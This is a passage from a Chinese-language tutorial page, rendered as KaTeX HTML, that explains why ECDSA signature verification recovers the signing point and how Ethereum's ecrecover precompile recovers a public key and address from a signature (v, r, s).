aria-hidden="true"><span class="base"><span class="strut" style="height:1.153em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mop op-limits"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.153em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">=</span></span></span><span style="top:-3.5669em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mclose mtight">?</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p></li></ol><p><strong>为什么这样能验证？</strong></p><p>展开 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:7.5964em;vertical-align:-3.5482em;"></span><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.0482em;"><span style="top:-6.1841em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">Q</span></span></span><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-3.1359em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-1.6118em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-0.1118em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.5482em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.0482em;"><span style="top:-6.1841em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">Q</span></span></span><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span></span></span><span style="top:-3.1359em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span></span></span><span style="top:-1.6118em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mrel amsrm">∵</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">d</span><span class="mclose">))</span></span></span><span style="top:-0.1118em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">G</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.5482em;"><span></span></span></span></span></span></span></span><span class="tag"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.0482em;"><span style="top:-6.0482em;"><span class="pstrut" style="height:2.8641em;"></span><span class="eqn-num"></span></span><span style="top:-4.5241em;"><span class="pstrut" style="height:2.8641em;"></span><span class="eqn-num"></span></span><span style="top:-3em;"><span class="pstrut" style="height:2.8641em;"></span><span class="eqn-num"></span></span><span style="top:-1.4759em;"><span class="pstrut" style="height:2.8641em;"></span><span class="eqn-num"></span></span><span style="top:0.0241em;"><span class="pstrut" style="height:2.8641em;"></span><span class="eqn-num"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.5482em;"><span></span></span></span></span></span></span></span></span></p><p>这正是签名时计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> 所用的点！</p><hr><h2 id="7-ecrecover-原理">7. ecrecover 原理</h2><h3 id="7-1-公钥恢复算法">7.1 公钥恢复算法</h3><p><code>ecrecover</code> 是以太坊的预编译合约，从签名恢复公钥：</p><p><strong>输入</strong>：消息哈希 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span></span>，签名 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span></p><p><strong>过程</strong>：</p><ol><li><p>从 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> 恢复曲线上的点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span></p><ul><li>使用 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 确定 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 的奇偶性</li><li>解方程 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></li></ul></li><li><p>计算公钥：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">G</span><span class="mclose">)</span></span></span></span></span></p></li><li><p>返回地址：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord text"><span class="mord">address</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord text"><span class="mord texttt">keccak256</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∥</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">[</span><span class="mord">12</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">32</span><span class="mclose">]</span></span></span></span></span></p></li></ol><h3 id="7-2-为什么可以恢复公钥？">7.2 为什么可以恢复公钥？</h3><p>从签名方程：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>解出 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span>（私钥对应的公钥系数）：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mclose">)</span></span></span></span></span></p><p>由于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span>，我们有：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">G</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">G</span><span class="mclose">)</span></span></span></span></span></p><p>所以：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 